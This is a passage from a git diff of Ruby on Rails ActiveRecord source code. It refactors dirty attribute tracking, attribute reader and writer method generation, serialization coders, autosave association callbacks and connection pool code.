+          reset_changes
         end
       end
 
+    def initialize_dup(other) # :nodoc:
+      super
+      init_changed_attributes
+    end
+
     private
+      def initialize_internals_callback
+        super
+        init_changed_attributes
+      end
+
+      def init_changed_attributes
+        @changed_attributes = nil
+        # Intentionally avoid using #column_defaults since overridden defaults (as is done in
+        # optimistic locking) won't get written unless they get marked as changed
+        self.class.columns.each do |c|
+          attr, orig_value = c.name, c.default
+          changed_attributes[attr] = orig_value if _field_changed?(attr, orig_value, @attributes[attr])
+        end
+      end
+
       # Wrap write_attribute to remember original attribute value.
       def write_attribute(attr, value)
         attr = attr.to_s
 
+        save_changed_attribute(attr, value)
+
+        super(attr, value)
+      end
+
+      def save_changed_attribute(attr, value)
         # The attribute already has an unsaved change.
         if attribute_changed?(attr)
-          old = @changed_attributes[attr]
-          @changed_attributes.delete(attr) unless _field_changed?(attr, old, value)
+          old = changed_attributes[attr]
+          changed_attributes.delete(attr) unless _field_changed?(attr, old, value)
         else
           old = clone_attribute_value(:read_attribute, attr)
-          @changed_attributes[attr] = old if _field_changed?(attr, old, value)
+          changed_attributes[attr] = old if _field_changed?(attr, old, value)
         end
-
-        # Carry on.
-        super(attr, value)
       end
 
-      def update_record(*)
+      def _update_record(*)
         partial_writes? ? super(keys_for_partial_write) : super
       end
 
-      def create_record(*)
+      def _create_record(*)
         partial_writes? ? super(keys_for_partial_write) : super
       end
 
       # Serialized attributes should always be written in case they've been
       # changed in place.
       def keys_for_partial_write
-        changed | (attributes.keys & self.class.serialized_attributes.keys)
+        changed
       end
 
       def _field_changed?(attr, old, value)
diff --git a/activerecord/lib/active_record/attribute_methods/read.rb b/activerecord/lib/active_record/attribute_methods/read.rb
index c60a735..d01e9ae 100644
--- a/activerecord/lib/active_record/attribute_methods/read.rb
+++ b/activerecord/lib/active_record/attribute_methods/read.rb
@@ -1,6 +1,38 @@
+require 'active_support/core_ext/module/method_transplanting'
+
 module ActiveRecord
   module AttributeMethods
     module Read
+      ReaderMethodCache = Class.new(AttributeMethodCache) {
+        private
+        # We want to generate the methods via module_eval rather than
+        # define_method, because define_method is slower on dispatch.
+        # Evaluating many similar methods may use more memory as the instruction
+        # sequences are duplicated and cached (in MRI).  define_method may
+        # be slower on dispatch, but if you're careful about the closure
+        # created, then define_method will consume much less memory.
+        #
+        # But sometimes the database might return columns with
+        # characters that are not allowed in normal method names (like
+        # 'my_column(omg)'. So to work around this we first define with
+        # the __temp__ identifier, and then use alias method to rename
+        # it to what we want.
+        #
+        # We are also defining a constant to hold the frozen string of
+        # the attribute name. Using a constant means that we do not have
+        # to allocate an object on each call to the attribute method.
+        # Making it frozen means that it doesn't get duped when used to
+        # key the @attributes_cache in read_attribute.
+        def method_body(method_name, const_name)
+          <<-EOMETHOD
+          def #{method_name}
+            name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{const_name}
+            read_attribute(name) { |n| missing_attribute(n, caller) }
+          end
+          EOMETHOD
+        end
+      }.new
+
       extend ActiveSupport::Concern
 
       ATTRIBUTE_TYPES_CACHED_BY_DEFAULT = [:datetime, :timestamp, :time, :date]
@@ -32,35 +64,30 @@ module ActiveRecord
 
         protected
 
-        # We want to generate the methods via module_eval rather than
-        # define_method, because define_method is slower on dispatch.
-        # Evaluating many similar methods may use more memory as the instruction
-        # sequences are duplicated and cached (in MRI).  define_method may
-        # be slower on dispatch, but if you're careful about the closure
-        # created, then define_method will consume much less memory.
-        #
-        # But sometimes the database might return columns with
-        # characters that are not allowed in normal method names (like
-        # 'my_column(omg)'. So to work around this we first define with
-        # the __temp__ identifier, and then use alias method to rename
-        # it to what we want.
-        #
-        # We are also defining a constant to hold the frozen string of
-        # the attribute name. Using a constant means that we do not have
-        # to allocate an object on each call to the attribute method.
-        # Making it frozen means that it doesn't get duped when used to
-        # key the @attributes_cache in read_attribute.
-        def define_method_attribute(name)
-          safe_name = name.unpack('h*').first
-          generated_attribute_methods::AttrNames.set_name_cache safe_name, name
-
-          generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
-            def __temp__#{safe_name}
-              read_attribute(AttrNames::ATTR_#{safe_name}) { |n| missing_attribute(n, caller) }
+        if Module.methods_transplantable?
+          def define_method_attribute(name)
+            method = ReaderMethodCache[name]
+            generated_attribute_methods.module_eval { define_method name, method }
+          end
+        else
+          def define_method_attribute(name)
+            safe_name = name.unpack('h*').first
+            temp_method = "__temp__#{safe_name}"
+
+            ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
+
+            generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
+              def #{temp_method}
+                name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{safe_name}
+                read_attribute(name) { |n| missing_attribute(n, caller) }
+              end
+            STR
+
+            generated_attribute_methods.module_eval do
+              alias_method name, temp_method
+              undef_method temp_method
             end
-            alias_method #{name.inspect}, :__temp__#{safe_name}
-            undef_method :__temp__#{safe_name}
-          STR
+          end
         end
 
         private
@@ -75,7 +102,7 @@ module ActiveRecord
       end
 
       # Returns the value of the attribute identified by <tt>attr_name</tt> after
-      # it has been typecast (for example, "2004-12-12" in a data column is cast
+      # it has been typecast (for example, "2004-12-12" in a date column is cast
       # to a date object, like Date.new(2004, 12, 12)).
       def read_attribute(attr_name)
         # If it's cached, just return it
diff --git a/activerecord/lib/active_record/attribute_methods/serialization.rb b/activerecord/lib/active_record/attribute_methods/serialization.rb
index 336750f..53a9c87 100644
--- a/activerecord/lib/active_record/attribute_methods/serialization.rb
+++ b/activerecord/lib/active_record/attribute_methods/serialization.rb
@@ -24,10 +24,14 @@ module ActiveRecord
         # serialized object must be of that class on retrieval or
         # <tt>SerializationTypeMismatch</tt> will be raised.
         #
+        # A notable side effect of serialized attributes is that the model will
+        # be updated on every save, even if it is not dirty.
+        #
         # ==== Parameters
         #
         # * +attr_name+ - The field name that should be serialized.
-        # * +class_name+ - Optional, class name that the object type should be equal to.
+        # * +class_name_or_coder+ - Optional, a coder object, which responds to `.load` / `.dump`
+        #   or a class name that the object type should be equal to.
         #
         # ==== Example
         #
@@ -35,13 +39,23 @@ module ActiveRecord
         #   class User < ActiveRecord::Base
         #     serialize :preferences
         #   end
-        def serialize(attr_name, class_name = Object)
+        #
+        #   # Serialize preferences using JSON as coder.
+        #   class User < ActiveRecord::Base
+        #     serialize :preferences, JSON
+        #   end
+        #
+        #   # Serialize preferences as Hash using YAML coder.
+        #   class User < ActiveRecord::Base
+        #     serialize :preferences, Hash
+        #   end
+        def serialize(attr_name, class_name_or_coder = Object)
           include Behavior
 
-          coder = if [:load, :dump].all? { |x| class_name.respond_to?(x) }
-                    class_name
+          coder = if [:load, :dump].all? { |x| class_name_or_coder.respond_to?(x) }
+                    class_name_or_coder
                   else
-                    Coders::YAMLColumn.new(class_name)
+                    Coders::YAMLColumn.new(class_name_or_coder)
                   end
 
           # merge new serialized attribute and create new hash to ensure that each class in inheritance hierarchy
@@ -50,13 +64,6 @@ module ActiveRecord
         end
       end
 
-      # *DEPRECATED*: Use ActiveRecord::AttributeMethods::Serialization::ClassMethods#serialized_attributes class level method instead.
-      def serialized_attributes
-        message = "Instance level serialized_attributes method is deprecated, please use class level method."
-        ActiveSupport::Deprecation.warn message
-        defined?(@serialized_attributes) ? @serialized_attributes : self.class.serialized_attributes
-      end
-
       class Type # :nodoc:
         def initialize(column)
           @column = column
@@ -73,6 +80,10 @@ module ActiveRecord
         def type
           @column.type
         end
+
+        def accessor
+          ActiveRecord::Store::IndifferentHashAccessor
+        end
       end
 
       class Attribute < Struct.new(:coder, :value, :state) # :nodoc:
@@ -115,6 +126,14 @@ module ActiveRecord
           end
         end
 
+        def should_record_timestamps?
+          super || (self.record_timestamps && (attributes.keys & self.class.serialized_attributes.keys).present?)
+        end
+
+        def keys_for_partial_write
+          super | (attributes.keys & self.class.serialized_attributes.keys)
+        end
+
         def type_cast_attribute_for_write(column, value)
           if column && coder = self.class.serialized_attributes[column.name]
             Attribute.new(coder, value, :unserialized)
@@ -123,6 +142,14 @@ module ActiveRecord
           end
         end
 
+        def raw_type_cast_attribute_for_write(column, value)
+          if column && coder = self.class.serialized_attributes[column.name]
+            Attribute.new(coder, value, :serialized)
+          else
+            super
+          end
+        end
+
         def _field_changed?(attr, old, value)
           if self.class.serialized_attributes.include?(attr)
             old != value
@@ -156,6 +183,16 @@ module ActiveRecord
             super
           end
         end
+
+        def attributes_for_coder
+          attribute_names.each_with_object({}) do |name, attrs|
+            attrs[name] = if self.class.serialized_attributes.include?(name)
+                            @attributes[name].serialized_value
+                          else
+                            read_attribute(name)
+                          end
+          end
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/attribute_methods/write.rb b/activerecord/lib/active_record/attribute_methods/write.rb
index 541856c..56441d7 100644
--- a/activerecord/lib/active_record/attribute_methods/write.rb
+++ b/activerecord/lib/active_record/attribute_methods/write.rb
@@ -1,6 +1,21 @@
+require 'active_support/core_ext/module/method_transplanting'
+
 module ActiveRecord
   module AttributeMethods
     module Write
+      WriterMethodCache = Class.new(AttributeMethodCache) {
+        private
+
+        def method_body(method_name, const_name)
+          <<-EOMETHOD
+          def #{method_name}(value)
+            name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{const_name}
+            write_attribute(name, value)
+          end
+          EOMETHOD
+        end
+      }.new
+
       extend ActiveSupport::Concern
 
       included do
@@ -10,19 +25,29 @@ module ActiveRecord
       module ClassMethods
         protected
 
-        # See define_method_attribute in read.rb for an explanation of
-        # this code.
-        def define_method_attribute=(name)
-          safe_name = name.unpack('h*').first
-          generated_attribute_methods::AttrNames.set_name_cache safe_name, name
+        if Module.methods_transplantable?
+          # See define_method_attribute in read.rb for an explanation of
+          # this code.
+          def define_method_attribute=(name)
+            method = WriterMethodCache[name]
+            generated_attribute_methods.module_eval {
+              define_method "#{name}=", method
+            }
+          end
+        else
+          def define_method_attribute=(name)
+            safe_name = name.unpack('h*').first
+            ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
 
-          generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
-            def __temp__#{safe_name}=(value)
-              write_attribute(AttrNames::ATTR_#{safe_name}, value)
-            end
-            alias_method #{(name + '=').inspect}, :__temp__#{safe_name}=
-            undef_method :__temp__#{safe_name}=
-          STR
+            generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
+              def __temp__#{safe_name}=(value)
+                name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{safe_name}
+                write_attribute(name, value)
+              end
+              alias_method #{(name + '=').inspect}, :__temp__#{safe_name}=
+              undef_method :__temp__#{safe_name}=
+            STR
+          end
         end
       end
 
@@ -30,6 +55,27 @@ module ActiveRecord
       # specified +value+. Empty strings for fixnum and float columns are
       # turned into +nil+.
       def write_attribute(attr_name, value)
+        write_attribute_with_type_cast(attr_name, value, :type_cast_attribute_for_write)
+      end
+
+      def raw_write_attribute(attr_name, value)
+        write_attribute_with_type_cast(attr_name, value, :raw_type_cast_attribute_for_write)
+      end
+
+      private
+      # Handle *= for method_missing.
+      def attribute=(attribute_name, value)
+        write_attribute(attribute_name, value)
+      end
+
+      def type_cast_attribute_for_write(column, value)
+        return value unless column
+
+        column.type_cast_for_write value
+      end
+      alias_method :raw_type_cast_attribute_for_write, :type_cast_attribute_for_write
+
+      def write_attribute_with_type_cast(attr_name, value, type_cast_method)
         attr_name = attr_name.to_s
         attr_name = self.class.primary_key if attr_name == 'id' && self.class.primary_key
         @attributes_cache.delete(attr_name)
@@ -42,24 +88,11 @@ module ActiveRecord
         end
 
         if column || @attributes.has_key?(attr_name)
-          @attributes[attr_name] = type_cast_attribute_for_write(column, value)
+          @attributes[attr_name] = send(type_cast_method, column, value)
         else
           raise ActiveModel::MissingAttributeError, "can't write unknown attribute `#{attr_name}'"
         end
       end
-      alias_method :raw_write_attribute, :write_attribute
-
-      private
-      # Handle *= for method_missing.
-      def attribute=(attribute_name, value)
-        write_attribute(attribute_name, value)
-      end
-
-      def type_cast_attribute_for_write(column, value)
-        return value unless column
-
-        column.type_cast_for_write value
-      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/autosave_association.rb b/activerecord/lib/active_record/autosave_association.rb
index c991c87..0cd6065 100644
--- a/activerecord/lib/active_record/autosave_association.rb
+++ b/activerecord/lib/active_record/autosave_association.rb
@@ -35,7 +35,7 @@ module ActiveRecord
   #
   # === One-to-one Example
   #
-  #   class Post
+  #   class Post < ActiveRecord::Base
   #     has_one :author, autosave: true
   #   end
   #
@@ -76,7 +76,7 @@ module ActiveRecord
   #
   # When <tt>:autosave</tt> is not declared new children are saved when their parent is saved:
   #
-  #   class Post
+  #   class Post < ActiveRecord::Base
   #     has_many :comments # :autosave option is not declared
   #   end
   #
@@ -95,20 +95,23 @@ module ActiveRecord
   # When <tt>:autosave</tt> is true all children are saved, no matter whether they
   # are new records or not:
   #
-  #   class Post
+  #   class Post < ActiveRecord::Base
   #     has_many :comments, autosave: true
   #   end
   #
   #   post = Post.create(title: 'ruby rocks')
   #   post.comments.create(body: 'hello world')
   #   post.comments[0].body = 'hi everyone'
-  #   post.save # => saves both post and comment, with 'hi everyone' as body
+  #   post.comments.build(body: "good morning.")
+  #   post.title += "!"
+  #   post.save # => saves both post and comments.
   #
   # Destroying one of the associated models as part of the parent's save action
   # is as simple as marking it for destruction:
   #
-  #   post.comments.last.mark_for_destruction
-  #   post.comments.last.marked_for_destruction? # => true
+  #   post.comments # => [#<Comment id: 1, ...>, #<Comment id: 2, ...]>
+  #   post.comments[1].mark_for_destruction
+  #   post.comments[1].marked_for_destruction? # => true
   #   post.comments.length # => 2
   #
   # Note that the model is _not_ yet removed from the database:
@@ -127,65 +130,65 @@ module ActiveRecord
     extend ActiveSupport::Concern
 
     module AssociationBuilderExtension #:nodoc:
-      def build
+      def self.build(model, reflection)
         model.send(:add_autosave_association_callbacks, reflection)
-        super
+      end
+
+      def self.valid_options
+        [ :autosave ]
       end
     end
 
     included do
-      Associations::Builder::Association.class_eval do
-        self.valid_options << :autosave
-        include AssociationBuilderExtension
-      end
+      Associations::Builder::Association.extensions << AssociationBuilderExtension
     end
 
     module ClassMethods
       private
 
-      def define_non_cyclic_method(name, reflection, &block)
-        define_method(name) do |*args|
-          result = true; @_already_called ||= {}
-          # Loop prevention for validation of associations
-          unless @_already_called[[name, reflection.name]]
-            begin
-              @_already_called[[name, reflection.name]]=true
-              result = instance_eval(&block)
-            ensure
-              @_already_called[[name, reflection.name]]=false
+        def define_non_cyclic_method(name, &block)
+          return if method_defined?(name)
+          define_method(name) do |*args|
+            result = true; @_already_called ||= {}
+            # Loop prevention for validation of associations
+            unless @_already_called[name]
+              begin
+                @_already_called[name]=true
+                result = instance_eval(&block)
+              ensure
+                @_already_called[name]=false
+              end
             end
-          end
 
-          result
+            result
+          end
         end
-      end
 
-      # Adds validation and save callbacks for the association as specified by
-      # the +reflection+.
-      #
-      # For performance reasons, we don't check whether to validate at runtime.
-      # However the validation and callback methods are lazy and those methods
-      # get created when they are invoked for the very first time. However,
-      # this can change, for instance, when using nested attributes, which is
-      # called _after_ the association has been defined. Since we don't want
-      # the callbacks to get defined multiple times, there are guards that
-      # check if the save or validation methods have already been defined
-      # before actually defining them.
-      def add_autosave_association_callbacks(reflection)
-        save_method = :"autosave_associated_records_for_#{reflection.name}"
-        validation_method = :"validate_associated_records_for_#{reflection.name}"
-        collection = reflection.collection?
-
-        unless method_defined?(save_method)
+        # Adds validation and save callbacks for the association as specified by
+        # the +reflection+.
+        #
+        # For performance reasons, we don't check whether to validate at runtime.
+        # However the validation and callback methods are lazy and those methods
+        # get created when they are invoked for the very first time. However,
+        # this can change, for instance, when using nested attributes, which is
+        # called _after_ the association has been defined. Since we don't want
+        # the callbacks to get defined multiple times, there are guards that
+        # check if the save or validation methods have already been defined
+        # before actually defining them.
+        def add_autosave_association_callbacks(reflection)
+          save_method = :"autosave_associated_records_for_#{reflection.name}"
+          validation_method = :"validate_associated_records_for_#{reflection.name}"
+          collection = reflection.collection?
+
           if collection
             before_save :before_save_collection_association
 
-            define_non_cyclic_method(save_method, reflection) { save_collection_association(reflection) }
+            define_non_cyclic_method(save_method) { save_collection_association(reflection) }
             # Doesn't use after_save as that would save associations added in after_create/after_update twice
             after_create save_method
             after_update save_method
           elsif reflection.macro == :has_one
-            define_method(save_method) { save_has_one_association(reflection) }
+            define_method(save_method) { save_has_one_association(reflection) } unless method_defined?(save_method)
             # Configures two callbacks instead of a single after_save so that
             # the model may rely on their execution order relative to its
             # own callbacks.
@@ -197,17 +200,16 @@ module ActiveRecord
             after_create save_method
             after_update save_method
           else
-            define_non_cyclic_method(save_method, reflection) { save_belongs_to_association(reflection) }
+            define_non_cyclic_method(save_method) { save_belongs_to_association(reflection) }
             before_save save_method
           end
-        end
 
-        if reflection.validate? && !method_defined?(validation_method)
-          method = (collection ? :validate_collection_association : :validate_single_association)
-          define_non_cyclic_method(validation_method, reflection) { send(method, reflection) }
-          validate validation_method
+          if reflection.validate? && !method_defined?(validation_method)
+            method = (collection ? :validate_collection_association : :validate_single_association)
+            define_non_cyclic_method(validation_method) { send(method, reflection) }
+            validate validation_method
+          end
         end
-      end
     end
 
     # Reloads the attributes of the object as usual and clears <tt>marked_for_destruction</tt> flag.
@@ -254,173 +256,182 @@ module ActiveRecord
 
     private
 
-    # Returns the record for an association collection that should be validated
-    # or saved. If +autosave+ is +false+ only new records will be returned,
-    # unless the parent is/was a new record itself.
-    def associated_records_to_validate_or_save(association, new_record, autosave)
-      if new_record
-        association && association.target
-      elsif autosave
-        association.target.find_all { |record| record.changed_for_autosave? }
-      else
-        association.target.find_all { |record| record.new_record? }
+      # Returns the record for an association collection that should be validated
+      # or saved. If +autosave+ is +false+ only new records will be returned,
+      # unless the parent is/was a new record itself.
+      def associated_records_to_validate_or_save(association, new_record, autosave)
+        if new_record
+          association && association.target
+        elsif autosave
+          association.target.find_all { |record| record.changed_for_autosave? }
+        else
+          association.target.find_all { |record| record.new_record? }
+        end
       end
-    end
 
-    # go through nested autosave associations that are loaded in memory (without loading
-    # any new ones), and return true if is changed for autosave
-    def nested_records_changed_for_autosave?
-      self.class.reflect_on_all_autosave_associations.any? do |reflection|
-        association = association_instance_get(reflection.name)
-        association && Array.wrap(association.target).any? { |a| a.changed_for_autosave? }
+      # go through nested autosave associations that are loaded in memory (without loading
+      # any new ones), and return true if is changed for autosave
+      def nested_records_changed_for_autosave?
+        self.class._reflections.values.any? do |reflection|
+          if reflection.options[:autosave]
+            association = association_instance_get(reflection.name)
+            association && Array.wrap(association.target).any? { |a| a.changed_for_autosave? }
+          end
+        end
       end
-    end
 
-    # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is
-    # turned on for the association.
-    def validate_single_association(reflection)
-      association = association_instance_get(reflection.name)
-      record      = association && association.reader
-      association_valid?(reflection, record) if record
-    end
+      # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is
+      # turned on for the association.
+      def validate_single_association(reflection)
+        association = association_instance_get(reflection.name)
+        record      = association && association.reader
+        association_valid?(reflection, record) if record
+      end
 
-    # Validate the associated records if <tt>:validate</tt> or
-    # <tt>:autosave</tt> is turned on for the association specified by
-    # +reflection+.
-    def validate_collection_association(reflection)
-      if association = association_instance_get(reflection.name)
-        if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave])
-          records.each { |record| association_valid?(reflection, record) }
+      # Validate the associated records if <tt>:validate</tt> or
+      # <tt>:autosave</tt> is turned on for the association specified by
+      # +reflection+.
+      def validate_collection_association(reflection)
+        if association = association_instance_get(reflection.name)
+          if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave])
+            records.each { |record| association_valid?(reflection, record) }
+          end
         end
       end
-    end
 
-    # Returns whether or not the association is valid and applies any errors to
-    # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt>
-    # enabled records if they're marked_for_destruction? or destroyed.
-    def association_valid?(reflection, record)
-      return true if record.destroyed? || record.marked_for_destruction?
-
-      unless valid = record.valid?
-        if reflection.options[:autosave]
-          record.errors.each do |attribute, message|
-            attribute = "#{reflection.name}.#{attribute}"
-            errors[attribute] << message
-            errors[attribute].uniq!
+      # Returns whether or not the association is valid and applies any errors to
+      # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt>
+      # enabled records if they're marked_for_destruction? or destroyed.
+      def association_valid?(reflection, record)
+        return true if record.destroyed? || record.marked_for_destruction?
+
+        unless valid = record.valid?
+          if reflection.options[:autosave]
+            record.errors.each do |attribute, message|
+              attribute = "#{reflection.name}.#{attribute}"
+              errors[attribute] << message
+              errors[attribute].uniq!
+            end
+          else
+            errors.add(reflection.name)
           end
-        else
-          errors.add(reflection.name)
         end
+        valid
       end
-      valid
-    end
 
-    # Is used as a before_save callback to check while saving a collection
-    # association whether or not the parent was a new record before saving.
-    def before_save_collection_association
-      @new_record_before_save = new_record?
-      true
-    end
+      # Is used as a before_save callback to check while saving a collection
+      # association whether or not the parent was a new record before saving.
+      def before_save_collection_association
+        @new_record_before_save = new_record?
+        true
+      end
 
-    # Saves any new associated records, or all loaded autosave associations if
-    # <tt>:autosave</tt> is enabled on the association.
-    #
-    # In addition, it destroys all children that were marked for destruction
-    # with mark_for_destruction.
-    #
-    # This all happens inside a transaction, _if_ the Transactions module is included into
-    # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
-    def save_collection_association(reflection)
-      if association = association_instance_get(reflection.name)
-        autosave = reflection.options[:autosave]
-
-        if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)
-
-          if autosave
-            records_to_destroy = records.select(&:marked_for_destruction?)
-            records_to_destroy.each { |record| association.destroy(record) }
-            records -= records_to_destroy
-          end
+      # Saves any new associated records, or all loaded autosave associations if
+      # <tt>:autosave</tt> is enabled on the association.
+      #
+      # In addition, it destroys all children that were marked for destruction
+      # with mark_for_destruction.
+      #
+      # This all happens inside a transaction, _if_ the Transactions module is included into
+      # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+      def save_collection_association(reflection)
+        if association = association_instance_get(reflection.name)
+          autosave = reflection.options[:autosave]
+
+          if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)
+
+            if autosave
+              records_to_destroy = records.select(&:marked_for_destruction?)
+              records_to_destroy.each { |record| association.destroy(record) }
+              records -= records_to_destroy
+            end
 
-          records.each do |record|
-            next if record.destroyed?
+            records.each do |record|
+              next if record.destroyed?
 
-            saved = true
+              saved = true
 
-            if autosave != false && (@new_record_before_save || record.new_record?)
-              if autosave
-                saved = association.insert_record(record, false)
-              else
-                association.insert_record(record) unless reflection.nested?
+              if autosave != false && (@new_record_before_save || record.new_record?)
+                if autosave
+                  saved = association.insert_record(record, false)
+                else
+                  association.insert_record(record) unless reflection.nested?
+                end
+              elsif autosave
+                saved = record.save(:validate => false)
               end
-            elsif autosave
-              saved = record.save(:validate => false)
-            end
 
-            raise ActiveRecord::Rollback unless saved
+              raise ActiveRecord::Rollback unless saved
+            end
           end
-        end
 
-        # reconstruct the scope now that we know the owner's id
-        association.reset_scope if association.respond_to?(:reset_scope)
+          # reconstruct the scope now that we know the owner's id
+          association.reset_scope if association.respond_to?(:reset_scope)
+        end
       end
-    end
 
-    # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
-    # on the association.
-    #
-    # In addition, it will destroy the association if it was marked for
-    # destruction with mark_for_destruction.
-    #
-    # This all happens inside a transaction, _if_ the Transactions module is included into
-    # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
-    def save_has_one_association(reflection)
-      association = association_instance_get(reflection.name)
-      record      = association && association.load_target
-      if record && !record.destroyed?
-        autosave = reflection.options[:autosave]
-
-        if autosave && record.marked_for_destruction?
-          record.destroy
-        else
-          key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id
-          if autosave != false && (new_record? || record.new_record? || record[reflection.foreign_key] != key || autosave)
-            unless reflection.through_reflection
-              record[reflection.foreign_key] = key
-            end
+      # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
+      # on the association.
+      #
+      # In addition, it will destroy the association if it was marked for
+      # destruction with mark_for_destruction.
+      #
+      # This all happens inside a transaction, _if_ the Transactions module is included into
+      # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+      def save_has_one_association(reflection)
+        association = association_instance_get(reflection.name)
+        record      = association && association.load_target
 
-            saved = record.save(:validate => !autosave)
-            raise ActiveRecord::Rollback if !saved && autosave
-            saved
+        if record && !record.destroyed?
+          autosave = reflection.options[:autosave]
+
+          if autosave && record.marked_for_destruction?
+            record.destroy
+          elsif autosave != false
+            key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id
+
+            if (autosave && record.changed_for_autosave?) || new_record? || record_changed?(reflection, record, key)
+              unless reflection.through_reflection
+                record[reflection.foreign_key] = key
+              end
+
+              saved = record.save(:validate => !autosave)
+              raise ActiveRecord::Rollback if !saved && autosave
+              saved
+            end
           end
         end
       end
-    end
 
-    # Saves the associated record if it's new or <tt>:autosave</tt> is enabled.
-    #
-    # In addition, it will destroy the association if it was marked for destruction.
-    def save_belongs_to_association(reflection)
-      association = association_instance_get(reflection.name)
-      record      = association && association.load_target
-      if record && !record.destroyed?
-        autosave = reflection.options[:autosave]
-
-        if autosave && record.marked_for_destruction?
-          self[reflection.foreign_key] = nil
-          record.destroy
-        elsif autosave != false
-          saved = record.save(:validate => !autosave) if record.new_record? || (autosave && record.changed_for_autosave?)
-
-          if association.updated?
-            association_id = record.send(reflection.options[:primary_key] || :id)
-            self[reflection.foreign_key] = association_id
-            association.loaded!
-          end
+      # If the record is new or it has changed, returns true.
+      def record_changed?(reflection, record, key)
+        record.new_record? || record[reflection.foreign_key] != key || record.attribute_changed?(reflection.foreign_key)
+      end
 
-          saved if autosave
+      # Saves the associated record if it's new or <tt>:autosave</tt> is enabled.
+      #
+      # In addition, it will destroy the association if it was marked for destruction.
+      def save_belongs_to_association(reflection)
+        association = association_instance_get(reflection.name)
+        record      = association && association.load_target
+        if record && !record.destroyed?
+          autosave = reflection.options[:autosave]
+
+          if autosave && record.marked_for_destruction?
+            self[reflection.foreign_key] = nil
+            record.destroy
+          elsif autosave != false
+            saved = record.save(:validate => !autosave) if record.new_record? || (autosave && record.changed_for_autosave?)
+
+            if association.updated?
+              association_id = record.send(reflection.options[:primary_key] || :id)
+              self[reflection.foreign_key] = association_id
+              association.loaded!
+            end
+
+            saved if autosave
+          end
         end
       end
-    end
   end
 end
diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb
index b06add0..53351fb 100644
--- a/activerecord/lib/active_record/base.rb
+++ b/activerecord/lib/active_record/base.rb
@@ -4,7 +4,7 @@ require 'active_support/benchmarkable'
 require 'active_support/dependencies'
 require 'active_support/descendants_tracker'
 require 'active_support/time'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/class/delegating_attributes'
 require 'active_support/core_ext/array/extract_options'
 require 'active_support/core_ext/hash/deep_merge'
@@ -18,6 +18,7 @@ require 'arel'
 require 'active_record/errors'
 require 'active_record/log_subscriber'
 require 'active_record/explain_subscriber'
+require 'active_record/relation/delegation'
 
 module ActiveRecord #:nodoc:
   # = Active Record
@@ -290,7 +291,10 @@ module ActiveRecord #:nodoc:
     extend Translation
     extend DynamicMatchers
     extend Explain
+    extend Enum
+    extend Delegation::DelegateCache
 
+    include Core
     include Persistence
     include ReadonlyAttributes
     include ModelSchema
@@ -313,10 +317,10 @@ module ActiveRecord #:nodoc:
     include NestedAttributes
     include Aggregations
     include Transactions
+    include NoTouching
     include Reflection
     include Serialization
     include Store
-    include Core
   end
 
   ActiveSupport.run_load_hooks(:active_record, Base)
diff --git a/activerecord/lib/active_record/callbacks.rb b/activerecord/lib/active_record/callbacks.rb
index 128a937..5955673 100644
--- a/activerecord/lib/active_record/callbacks.rb
+++ b/activerecord/lib/active_record/callbacks.rb
@@ -128,7 +128,7 @@ module ActiveRecord
   #       record.credit_card_number = decrypt(record.credit_card_number)
   #     end
   #
-  #     alias_method :after_find, :after_save
+  #     alias_method :after_initialize, :after_save
   #
   #     private
   #       def encrypt(value)
@@ -163,7 +163,7 @@ module ActiveRecord
   #       record.send("#{@attribute}=", decrypt(record.send("#{@attribute}")))
   #     end
   #
-  #     alias_method :after_find, :after_save
+  #     alias_method :after_initialize, :after_save
   #
   #     private
   #       def encrypt(value)
@@ -302,11 +302,11 @@ module ActiveRecord
       run_callbacks(:save) { super }
     end
 
-    def create_record #:nodoc:
+    def _create_record #:nodoc:
       run_callbacks(:create) { super }
     end
 
-    def update_record(*) #:nodoc:
+    def _update_record(*) #:nodoc:
       run_callbacks(:update) { super }
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
index 816b397..759e162 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
@@ -86,7 +86,7 @@ module ActiveRecord
           end
         end
 
-        # Return the number of threads currently waiting on this
+        # Returns the number of threads currently waiting on this
         # queue.
         def num_waiting
           synchronize do
@@ -332,11 +332,6 @@ module ActiveRecord
         end
       end
 
-      def clear_stale_cached_connections! # :nodoc:
-        reap
-      end
-      deprecate :clear_stale_cached_connections! => "Please use #reap instead"
-
       # Check-out a database connection from the pool, indicating that you want
       # to use it. You should call #checkin when you no longer need this.
       #
@@ -398,7 +393,7 @@ module ActiveRecord
         synchronize do
           stale = Time.now - @dead_connection_timeout
           connections.dup.each do |conn|
-            if conn.in_use? && stale > conn.last_use && !conn.active?
